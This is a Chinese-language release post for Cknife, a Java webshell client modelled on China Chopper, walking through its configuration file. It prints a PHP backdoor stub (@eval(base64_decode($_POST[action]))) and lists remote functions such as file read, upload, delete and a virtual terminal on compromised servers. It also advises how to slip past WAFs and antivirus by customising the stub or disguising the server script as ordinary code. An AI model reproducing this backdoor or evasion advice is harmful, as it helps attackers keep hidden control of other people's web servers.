Cknife网站管理工具(C刀)全平台版发布
Burp已经成了绿帽子门必不可少的工具,相信大家都装有Java环境,本软件支持1.7+以及所有安装了环境的系统。1.6后续会考虑兼容。
一直都有想写一款真正实用的跨平台类似的菜刀,然后可惜代码是个渣渣一直可望而不可即,后续随着公司业务增多,大多数目标都有WAF,于是就想写一款完全脱离工具,只依靠配置文件的菜刀。顺便当个码农~~~
前前后后大约花了一个月,除了打飞机的时间基本就在写这货了,这里要感谢@MelodyZX 牛,在我完成大体框架后,帮了我不少大忙,包括完成虚拟终端,非常感谢。
程序采用java语言编写,数据库采用了sqlite,本来想使用access,但是在jdk1.8以后移除了该功能,意味不能使用默认环境连接,最终我选择了sqlite,但是体积增加了800多K,程序本身只有100多K,因为引入了连接sqlite的包,后续会删除一些不想关的类来缩小体积。为了给一些爱美玩家使用,特地生成了一个带有大量皮肤的C刀,不过体积肯定也会更大。
主程序为Cknife.jar,运行后会生成Cknife.db,以及默认的配置文件Config.ini。
前面说过这是一款完全基于配置文件的菜刀,主程序只是图形的展示,以及数据的发送,我分开了每一个步骤写入到配置文件里面。可以自定义任何代码,包括更改参数名称,参数内容。
比如:
SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel 设置皮肤为nimbus
SPL=->| 表示截取数据的开始符号
SPR=|<- 表示截取数据的结束符号
CODE=code 编码参数
ACTION=action 动作参数
PARAM1=z1 参数1
PARAM2=z2 参数2
PHP_BASE64=1 当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0
PHP_MAKE=@eval(base64_decode($_POST[action])); 生成方式,这里可以不用该方式,可以用你任何想要的方式
PHP_INDEX=... 显示主页功能的代码放这
PHP_READDICT=... 读取主页功能的代码放着
PHP_READFILE=... 读取文件功能的代码
PHP_DELETE=... 删除文件夹以及文件功能的代码...
PHP_RENAME=... 重命名文件夹以及文件功能的代码...
PHP_NEWDICT=... 新建目录功能的代码
PHP_UPLOAD=... 上传文件功能的代码
PHP_DOWNLOAD=... 下载文件功能的代码
PHP_SHELL=... 虚拟终端功能的代码
如果觉得复杂,其实大多数时间只需要PHP_MAKE过WAF就行了,后面的基本不会查杀。
程序的自定义功能可以用来变相做另外一种免杀
自定义配置如下
CUS_MAKE=1
CUS_INDEX=index
CUS_READDICT=readdict
CUS_READFILE=readfile
CUS_SAVEFILE=savefile
CUS_DELETE=delete
CUS_RENAME=rename
CUS_NEWDICT=newdict
CUS_UPLOAD=upload
CUS_DOWNLOAD=download
CUS_SHELL=shell
只要写的脚本文件能与自定义的能对接上就可以使用。
那么如果做免杀呢?当你只用MAKE的时候确实想不到办法去过WAF的时候,
你可以写一个脚本比如PHP的,但是不是一句话,而是实现正常功能的脚本。
比如这个脚本为1.php,我写一个功能为显示主页的功能,然后提交1.php?action=index,
选择自定义对接,就可以与C刀进行连接了。前提是你的1.php得过WAF。
来几张图吧,先看看皮肤版
体积有点大,因为加载了皮肤包。
正常版本,皮肤用的JDK默认的几款,可以自由切换。
MAC下为MAC皮肤,其余系统为Nimbus皮肤,如果没有则使用Metal皮肤
Mac
默认没有的话会使用如下皮肤
标准版:Cknife.jar
皮肤版:Cknife_Skin.jar
补充下JSP脚本的下载地址,修复了原版本菜刀JSP上传失败的问题。
下载地址:JSP
Happy New Year.